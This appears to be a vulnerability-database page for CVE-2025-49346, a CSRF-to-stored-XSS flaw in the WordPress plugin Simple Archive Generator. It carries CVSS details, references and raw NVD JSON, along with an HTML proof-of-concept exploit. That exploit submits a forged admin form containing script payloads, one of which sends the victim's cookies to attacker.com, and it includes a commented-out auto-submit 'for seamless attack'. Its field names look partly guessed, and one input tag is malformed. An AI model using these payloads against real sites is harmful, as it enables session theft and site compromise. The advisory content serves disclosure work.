CVE-2025-49346

Description

Cross-Site Request Forgery (CSRF) vulnerability in peterwsterling Simple Archive Generator simple-archive-generator allows Stored XSS.This issue affects Simple Archive Generator: from n/a through <= 5.2.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

WordPress Simple Archive Generator (simple-archive-generator) <= 5.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-49346 PoC: CSRF to Stored XSS in Simple Archive Generator -->
<!DOCTYPE html>
<html>
<head>
    <title>CSRF PoC - Simple Archive Generator XSS</title>
</head>
<body>
    <h2>CVE-2025-49346 CSRF Stored XSS PoC</h2>
    <p>Click the button below to trigger the vulnerability (requires admin login):</p>
    
    <form action="http://target-site/wp-admin/admin-post.php" method="POST" id="exploitForm">
        <!-- Base parameters for archive creation -->
        <input type="hidden" name="action" value="save_archive">
        <input type="hidden" name="post_type" value="sag_archive">
        
        <!-- Archive title with XSS payload -->
        <input type="hidden" name="post_title" value="Archive<script>alert('XSS by CVE-2025-49346')</script>">
        
        <!-- Archive content with XSS payload -->
        <input type="hidden" name="post_content" value="<img src=x onerror=alert(document.cookie)>"
        
        <!-- Additional required fields -->
        <input type="hidden" name="sag_options[description]" value="<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>">
        <input type="hidden" name="sag_options[category]" value="1">
    </form>
    
    <button onclick="document.getElementById('exploitForm').submit()">Execute Exploit</button>
    
    <script>
        // Auto-submit on page load (for seamless attack)
        // window.onload = function() { document.getElementById('exploitForm').submit(); };
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49346
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49346
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49346/
[4] VulDB https://vuldb.com/cve/CVE-2025-49346
[5] https://patchstack.com/database/Wordpress/Plugin/simple-archive-generator/vulnerability/wordpress-simple-archive-generator-plugin-5-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49346", "sourceIdentifier": "[email protected]", "published": "2025-12-31T05:16:06.637", "lastModified": "2026-04-23T15:31:30.530", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in peterwsterling Simple Archive Generator simple-archive-generator allows Stored XSS.This issue affects Simple Archive Generator: from n/a through <= 5.2."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición en sitios cruzados (CSRF) en Peter Sterling Simple Archive Generator permite XSS almacenado. Este problema afecta a Simple Archive Generator: desde n/a hasta 5.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/simple-archive-generator/vulnerability/wordpress-simple-archive-generator-plugin-5-2-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}